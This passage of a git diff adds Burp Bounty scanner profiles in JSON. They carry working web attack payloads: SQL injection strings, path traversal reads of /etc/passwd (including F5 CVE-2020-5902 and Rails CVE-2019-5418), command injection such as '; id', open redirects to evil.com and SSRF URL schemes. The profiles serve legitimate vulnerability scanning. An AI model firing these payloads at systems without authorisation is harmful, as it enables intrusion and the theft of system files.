+[{"Name":"ErrorSQLi","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["\u0027-\u0027","\u0027 \u0027","\u0027\u0026\u0027","\u0027^\u0027","\u0027*\u0027","\u0027 or \u0027\u0027-\u0027","\u0027 or \u0027\u0027 \u0027","\u0027 or \u0027\u0027\u0026\u0027","\u0027 or \u0027\u0027^\u0027","\u0027 or \u0027\u0027*\u0027","\"-\"","\" \"","\"\u0026\"","\"^\"","\"*\"","\" or \"\"-\"","\" or \"\" \"","\" or \"\"\u0026\"","\" or \"\"^\"","\" or \"\"*\"","or true--","\" or true--","\u0027 or true--","\") or true--","\u0027) or true--","\u0027 or \u0027x\u0027\u003d\u0027x","\u0027) or (\u0027x\u0027)\u003d(\u0027x","\u0027)) or ((\u0027x\u0027))\u003d((\u0027x","\" or \"x\"\u003d\"x","\") or (\"x\")\u003d(\"x","\")) or ((\"x\"))\u003d((\"x","or 1\u003d1","or 1\u003d1-- ","or 1\u003d1#","or 1\u003d1/*"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["Microsoft OLE DB Provider for ODBC Drivers error","You have an error in your SQL syntax","ORA-00933: SQL command not properly ended","Microsoft SQL Native Client error","Query failed: ERROR: syntax error at or near","You have an error in your SQL syntax","MySQL Error: 1064\" \u0026 \"Session halted","mysql error with query","sQL syntax error","PostgreSQL query failed: ERROR: parser: parse error","Warning: mysql_fetch_array","Warning: mysql_num_rows","Warning: mysql_query","Warning: mysql_fetch_assoc","Warning: mysql_result","Warning: mysql_free_result"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":4,"MaxRedir":5,"payloadPosition":2,"payloadsFile":"","grepsFile":"","IssueName":"ErrorSQLi","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"Error SQLi with payloads: \u003cbr\u003e \u003cpayload\u003e","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/F5-BigIP_CVE-2020-5902.bb b/src/profiles/F5-BigIP_CVE-2020-5902.bb new file mode 100755 index 0000000..901cf37 --- /dev/null +++ b/src/profiles/F5-BigIP_CVE-2020-5902.bb @@ -0,0 +1 @@ +[{"Name":"F5-BigIP_CVE-2020-5902","Enabled":true,"Scanner":1,"Author":"@burpbounty","Payloads":["/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName\u003d/etc/passwd"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["true,Or,root:x:0"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":true,"ResponseCode":"200","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":1,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"F5-BigIP_CVE-2020-5902","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"More info at: https://support.f5.com/csp/article/K52145254","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[65],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/FireBase_API.bb b/src/profiles/FireBase_API.bb new file mode 100755 index 0000000..e58e647 --- /dev/null +++ b/src/profiles/FireBase_API.bb @@ -0,0 +1 @@ +[{"Name":"FireBase_API","Enabled":true,"Scanner":2,"Author":"@syed__umar","UrlEncode":false,"Grep":["true,Or,apiKey:\\s\"(.*?)\","],"Tags":["All","InformationDisclosure"],"PayloadResponse":false,"NotResponse":false,"isTime":false,"iscontentLength":false,"CaseSensitive":true,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":2,"RedirType":0,"MaxRedir":0,"payloadPosition":0,"grepsFile":"","IssueName":"Firebase API Token leakage","IssueSeverity":"Medium","IssueConfidence":"Firm","IssueDetail":"The API key of Firebase was found present in the source code of the web application. As it is, it doesn\u0027t pose any threat to the application. \n\nBut, do try this POC: https://gist.github.com/Anon-Exploiter/5232869d84d01d0e90377410ef25f576\n\nHost the above .html file on a server/vps (don\u0027t try on localhost, sometimes DEVs allow localhost for their own servers) - If it works, that means there\u0027s no restriction and anyone can utilize the keys to query the database from any application.","RemediationDetail":"","IssueBackground":"","RemediationBackground":"Restrict the firebase keys to the Web Application\u0027s URL/Host only\n\nReference: https://stackoverflow.com/questions/35418143/how-to-restrict-firebase-data-modifications","VariationAttributes":[],"InsertionPointType":[],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/FirebaseAPIToken.bb b/src/profiles/FirebaseAPIToken.bb new file mode 100644 index 0000000..221e03d --- /dev/null +++ b/src/profiles/FirebaseAPIToken.bb @@ -0,0 +1 @@ +[{"Name":"FireBase_API","Active":true,"Scanner":2,"Author":"@syed__umar","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["apiKey:\\s\"(.*?)\","],"Tags":["All","InformationDisclosure"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":true,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"MatchType":2,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"Firebase API Token leakage","IssueSeverity":"Medium","IssueConfidence":"Firm","IssueDetail":"The API key of Firebase was found present in the source code of the web application. As it is, it doesn\u0027t pose any threat to the application. \n\nBut, do try this POC: https://gist.github.com/Anon-Exploiter/5232869d84d01d0e90377410ef25f576\n\nHost the above .html file on a server/vps (don\u0027t try on localhost, sometimes DEVs allow localhost for their own servers) - If it works, that means there\u0027s no restriction and anyone can utilize the keys to query the database from any application.","RemediationDetail":"","IssueBackground":"","RemediationBackground":"Restrict the firebase keys to the Web Application\u0027s URL/Host only\n\nReference: https://stackoverflow.com/questions/35418143/how-to-restrict-firebase-data-modifications","Header":[],"VariationAttributes":[],"InsertionPointType":[],"pathDiscovery":false}] diff --git a/src/profiles/GitFinder.bb b/src/profiles/GitFinder.bb new file mode 100755 index 0000000..c029831 --- /dev/null +++ b/src/profiles/GitFinder.bb @@ -0,0 +1 @@ +[{"Name":"GitFinder","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["/.git/HEAD"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["refs"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":4,"MaxRedir":5,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"GitFinder","IssueSeverity":"Low","IssueConfidence":"Firm","IssueDetail":"","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[65],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/Joomla-ArbitraryFileUpload.bb b/src/profiles/Joomla-ArbitraryFileUpload.bb new file mode 100755 index 0000000..ef7a929 --- /dev/null +++ b/src/profiles/Joomla-ArbitraryFileUpload.bb @@ -0,0 +1 @@ +[{"Name":"Joomla-ArbitraryFileUpload","Enabled":true,"Scanner":3,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["index.php?option\u003dcom_joomanager"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"Joomla-ArbitraryFileUpload","IssueSeverity":"High","IssueConfidence":"Firm","IssueDetail":"Joomla Arbitrary File Upload:\u003cbr\u003e\n\nhttps://www.exploit-db.com/ghdb/4687/","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/Joomla-CVE-2015-7297.bb b/src/profiles/Joomla-CVE-2015-7297.bb new file mode 100755 index 0000000..a1fd638 --- /dev/null +++ b/src/profiles/Joomla-CVE-2015-7297.bb @@ -0,0 +1 @@ +[{"Name":"Joomla-CVE-2015-7297","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["powered by joomla 3.2","powered by joomla 3.3","powered by joomla 3.4"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"Joomla-SQLi","IssueSeverity":"High","IssueConfidence":"Firm","IssueDetail":"Joomla SQLi - CVE-2015-7297: \u003cbr\u003e\n\nhttps://www.exploit-db.com/ghdb/4110/","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/Joomla-ReflectedXSS.bb b/src/profiles/Joomla-ReflectedXSS.bb new file mode 100755 index 0000000..52722df --- /dev/null +++ b/src/profiles/Joomla-ReflectedXSS.bb @@ -0,0 +1 @@ +[{"Name":"Joomla-ReflectedXSS","Enabled":true,"Scanner":3,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["sendmessage.php?type\u003dskype"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"Joomla-ReflectedXSS","IssueSeverity":"Medium","IssueConfidence":"Certain","IssueDetail":"Joomla-ReflectedXSS:\u003cbr\u003e\n\nhttps://www.exploit-db.com/ghdb/4398/","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/JoomlaSQLi-com_artforms .bb b/src/profiles/JoomlaSQLi-com_artforms .bb new file mode 100755 index 0000000..1ae09f4 --- /dev/null +++ b/src/profiles/JoomlaSQLi-com_artforms .bb @@ -0,0 +1 @@ +[{"Name":"JoomlaSQLi-com_artforms ","Enabled":true,"Scanner":3,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["index.php?option\u003dcom_artforms"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"JoomlaSQLi","IssueSeverity":"High","IssueConfidence":"Firm","IssueDetail":"Joomla \"com_artforms\" component SQL Injection:\u003cbr\u003e\n\nhttps://www.exploit-db.com/ghdb/4386/","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/Linux-PathTraversal-MR.bb b/src/profiles/Linux-PathTraversal-MR.bb new file mode 100755 index 0000000..7d61623 --- /dev/null +++ b/src/profiles/Linux-PathTraversal-MR.bb @@ -0,0 +1 @@ +[{"Name":"Linux-PathTraversal-MR","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["/../{FILE}","/../../{FILE}","/../../../{FILE}","/../../../../{FILE}","/../../../../../{FILE}","/../../../../../../{FILE}","/../../../../../../../{FILE}","/../../../../../../../../{FILE}","/..%2f{FILE}","/..%2f..%2f{FILE}","/..%2f..%2f..%2f{FILE}","/..%2f..%2f..%2f..%2f{FILE}","/..%2f..%2f..%2f..%2f..%2f{FILE}","/..%2f..%2f..%2f..%2f..%2f..%2f{FILE}","/..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}","/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["root:x"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"Linux-PathTraversal","IssueSeverity":"Medium","IssueConfidence":"Certain","IssueDetail":"Path traversal with payloads: \u003cbr\u003e \u003cpayload\u003e","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[{"type":"Payload","match":"{FILE}","replace":"etc/passwd","regex":"String"}],"VariationAttributes":[],"InsertionPointType":[65],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/OAuth2.bb b/src/profiles/OAuth2.bb new file mode 100755 index 0000000..91e9665 --- /dev/null +++ b/src/profiles/OAuth2.bb @@ -0,0 +1 @@ +[{"Name":"OAuth2","Enabled":true,"Scanner":3,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["response_type","client_id","grant_type","redirect_uri","oauth","oidc"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"OAuth2","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"OAuth2 Found","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/OAuth2response.bb b/src/profiles/OAuth2response.bb new file mode 100755 index 0000000..74860eb --- /dev/null +++ b/src/profiles/OAuth2response.bb @@ -0,0 +1 @@ +[{"Name":"OAuth2response","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["response_type","client_id","grant_type","redirect_uri","oauth","oidc"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"OAuth2","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"OAuth2 Found","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/OpenRedirect-ParameterPollution.bb b/src/profiles/OpenRedirect-ParameterPollution.bb new file mode 100755 index 0000000..f461a4c --- /dev/null +++ b/src/profiles/OpenRedirect-ParameterPollution.bb @@ -0,0 +1 @@ +[{"Name":"OpenRedirect-ParameterPollution","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["/{payload}","?next\u003d{payload}","?url\u003d{payload}","?target\u003d{payload}","?rurl\u003d{payload}","?dest\u003d{payload}","?destination\u003d{payload}","?redir\u003d{payload}","?redirect_uri\u003d{payload}","?redirect\u003d{payload}","/redirect/{payload}","/cgi-bin/redirect.cgi?{payload}","/out/{payload}","/out?{payload}","?view\u003d{payload}","/login?to\u003d{payload}","?image_url\u003d{payload}","?go\u003d{payload}","?return\u003d{payload}","?returnTo\u003d{payload}","?return_to\u003d{payload}","?checkout_url\u003d{payload}","?continue\u003d{payload}","?return_path\u003d{payload}"],"Encoder":[" "],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["-Token1337-"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":4,"MaxRedir":9,"payloadPosition":2,"payloadsFile":"","grepsFile":"","IssueName":"OpenRedirect-ParameterPollution","IssueSeverity":"Medium","IssueConfidence":"Certain","IssueDetail":"Open Redirect with payload: \u003cbr\u003e\u003cpayload\u003e","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[{"type":"Payload","match":"{payload}","replace":"http://www.wagiro.com/test-open-redirect","regex":"String"}],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/OpenRedirect.bb b/src/profiles/OpenRedirect.bb new file mode 100755 index 0000000..bced9a2 --- /dev/null +++ b/src/profiles/OpenRedirect.bb @@ -0,0 +1 @@ +[{"Name":"OpenRedirect","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["%2F%09%2Fevil.com","%2F%10%2Fevil.com","%2F%13%2Fevil.com","evil.com","/evil.com","//evil.com","///evil.com","////evil.com","/\\evil.com","%2fevil.com","%2f$2fevil.com","%2fevil.com%2f%2f","$2f%2fevil.com%2f%2f","%2fevil.com//","http://example.com%0a%23.evil.com"],"Encoder":[" "],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["location.*evil.com"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":true,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":2,"RedirType":4,"MaxRedir":9,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"OpenRedirect","IssueSeverity":"Medium","IssueConfidence":"Certain","IssueDetail":"Open Redirect with payload: \u003cbr\u003e\u003cpayload\u003e","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/RCE.bb b/src/profiles/RCE.bb new file mode 100755 index 0000000..352d701 --- /dev/null +++ b/src/profiles/RCE.bb @@ -0,0 +1 @@ +[{"Name":"RCE","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":[" || id"," | id","; id"," \u0026\u0026 id"," \u0026 id"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":[".*uid\u003d.*gid\u003d.*groups\u003d.*"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":2,"RedirType":4,"MaxRedir":4,"payloadPosition":2,"payloadsFile":"","grepsFile":"","IssueName":"RCE","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"RCE found","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/RoR CVE-2019-5418 WAF Bypass.bb b/src/profiles/RoR CVE-2019-5418 WAF Bypass.bb new file mode 100755 index 0000000..006c182 --- /dev/null +++ b/src/profiles/RoR CVE-2019-5418 WAF Bypass.bb @@ -0,0 +1 @@ +[{"Name":"RoR CVE-2019-5418 WAF Bypass","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["/"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["root:x"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":4,"MaxRedir":3,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"Ruby on Rails CVE-2019-5418","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[{"type":"Request","match":"Accept: .*","replace":"Accept: ../../../../../../../../e*c/p*ss*d{{","regex":"Regex"}],"VariationAttributes":[],"InsertionPointType":[65],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/Ruby on Rails CVE-2019-5418.bb b/src/profiles/Ruby on Rails CVE-2019-5418.bb new file mode 100755 index 0000000..4624c8f --- /dev/null +++ b/src/profiles/Ruby on Rails CVE-2019-5418.bb @@ -0,0 +1 @@ +[{"Name":"Ruby on Rails CVE-2019-5418","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["/"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["root:x"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":4,"MaxRedir":3,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"Ruby on Rails CVE-2019-5418","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[{"type":"Request","match":"Accept: .*","replace":"Accept: ../../../../../../../../etc/passwd{{","regex":"Regex"}],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/SSRF-Collaborator.bb b/src/profiles/SSRF-Collaborator.bb new file mode 100755 index 0000000..f5c3e51 --- /dev/null +++ b/src/profiles/SSRF-Collaborator.bb @@ -0,0 +1 @@ +[{"Name":"SSRF-Collaborator","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["http://{BC}","dict://{BC}","sftp://{BC}","ldap://{BC}","gopher://{BC}"],"Encoder":[" "],"UrlEncode":false,"CharsToUrlEncode":"","Grep":[],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":4,"MaxRedir":9,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"SSRF-Collaborator","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"SSRF with payload: \u003cbr\u003e\u003cpayload\u003e","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/SSRF-URLScheme.bb b/src/profiles/SSRF-URLScheme.bb new file mode 100755 index 0000000..5c4750a --- /dev/null +++ b/src/profiles/SSRF-URLScheme.bb @@ -0,0 +1 @@ +[{"Name":"SSRF-URLScheme","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["file:///etc/passwd","file://\\/\\/etc/passwd"],"Encoder":[" "],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["root:x"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":4,"MaxRedir":9,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"SSRF-URLScheme","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"SSRF-URLScheme with payload: \u003cbr\u003e\u003cpayload\u003e","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/ServerBanner.bb b/src/profiles/ServerBanner.bb new file mode 100755 index 0000000..2b155c1 --- /dev/null +++ b/src/profiles/ServerBanner.bb @@ -0,0 +1 @@ +[{"Name":"ServerBanner","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["Server:.*[0-9].*"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":true,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":2,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"ServerBanner","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Server banner found: \u003cbr\u003e\u003cgrep\u003e","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/Strict-Transport-Security.bb b/src/profiles/Strict-Transport-Security.bb new file mode 100755 index 0000000..c258c00 --- /dev/null +++ b/src/profiles/Strict-Transport-Security.bb @@ -0,0 +1 @@ 